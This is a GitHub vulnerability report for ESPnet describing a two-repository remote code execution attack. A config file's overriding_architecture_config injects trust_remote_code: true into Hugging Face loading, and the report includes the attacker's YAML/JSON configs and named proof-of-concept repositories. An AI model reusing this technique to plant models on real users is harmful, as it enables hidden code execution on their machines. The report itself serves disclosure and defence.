#6414·espnet

Stealthy two-repository attack when loading Speech2Text model from HuggingFace

Author: VancirCreated Apr 8, 2026Updated Apr 28, 2026
LabelsBug

Description

ESPnet is vulnerable to a stealthy two-repository remote code execution attack through the HuggingFaceTransformersDecoder. The vulnerability arises because ESPnet allows loading additional model parameters from a configuration file (overriding_architecture_config) that is fully controlled by the model repository. These parameters are then directly forwarded to Hugging Face from_pretrained(...) APIs without validation.

An attacker can exploit this by creating a benign-looking frontend repository and referencing a malicious backend repository. The frontend repository contains a YAML configuration that points to a JSON file (e.g., bart_decoder_config.json), which injects trust_remote_code: true. This parameter is then passed into AutoModelForCausalLM.from_pretrained(...) or AutoModelForSeq2SeqLM.from_pretrained(...), enabling execution of arbitrary code from the backend repository.

This attack is particularly dangerous because the frontend repository appears benign and does not contain any obvious malicious code. The actual payload resides in the backend repository, making the attack difficult to detect and capable of bypassing existing security scanning mechanisms that focus only on the frontend model.

Root Cause

Here is the simplified example:

python
# https://github.com/espnet/espnet/blob/0ffefaabbea1fbc71bb66775947f259f31e19915/espnet2/asr/decoder/hugging_face_transformers_decoder.py#L126
class HuggingFaceTransformersDecoder(AbsDecoder, BatchScorerInterface):
    @typechecked
    def __init__(
        self, #...
        overriding_architecture_config: Optional[Union[str, dict]] = {},
        load_pretrained_weights: bool = True,
        separate_lm_head: bool = False,
    ):

        self.overriding_architecture_config = overriding_architecture_config
        if isinstance(overriding_architecture_config, str):
            # It is path to a json config file
            self.overriding_architecture_config = read_json_config(
                overriding_architecture_config
            )
        try:
            if self.causal_lm:
                model = AutoModelForCausalLM.from_pretrained(
                    model_name_or_path, **self.overriding_architecture_config
                )
                self.decoder = get_hugging_face_model_network(model)
            else:
                model = AutoModelForSeq2SeqLM.from_pretrained(
                    model_name_or_path, **self.overriding_architecture_config
                )

                if hasattr(model, "model"):
                    self.decoder = model.model.decoder
                else:
                    self.decoder = model.decoder
         finally:
            # Restore original torch.equal
            torch.equal = original_equal

Attackers can create a frontend model repository that contains the following configurations.

yaml
# meta.yaml
espnet: '202412'
files:
  asr_model_file: exp/asr_train_mms_finetune_v2_raw_char/valid.loss.ave_2best.pth
python: 3.10.16 | packaged by conda-forge | (main, Dec  5 2024, 14:16:10) [GCC 13.3.0]
timestamp: 1739764267.951196
torch: 2.6.0+cu118
yaml_files:
  asr_train_config: exp/asr_train_mms_finetune_v2_raw_char/config.yaml

# exp/asr_train_mms_finetune_v2_raw_char/config.yaml
model_conf:
    ctc_weight: 0.5
decoder:  hugging_face_transformers
decoder_conf:
    model_name_or_path: XManFromXlab/espnet-Speech2Text-evil
    overriding_architecture_config: bart_decoder_config.json
    load_pretrained_weights: false
    separate_lm_head: true

# bart_decoder_config.json
{
  "trust_remote_code": true
}

Because both model_name_or_path and overriding_architecture_config are controlled by the frontend repository, attackers can combine them to redirect loading to a malicious backend repository and enable remote code execution.

Proof of Concept

I created two model repositories on HuggingFace Hub for demonstration.

  • frontend: XManFromXlab/espnet-Speech2Text-benign
  • backend: XManFromXlab/espnet-Speech2Text-evil

Victims may run code like the following:

python
from espnet2.bin.asr_inference import Speech2Text

model_id = "XManFromXlab/espnet-Speech2Text-benign"
Speech2Text.from_pretrained(model_id)

In this case, it will print the warning messages:

$ python demo.py
Execute Malicious Payload!!!
Execute Malicious Payload!!!
Execute Malicious Payload!!!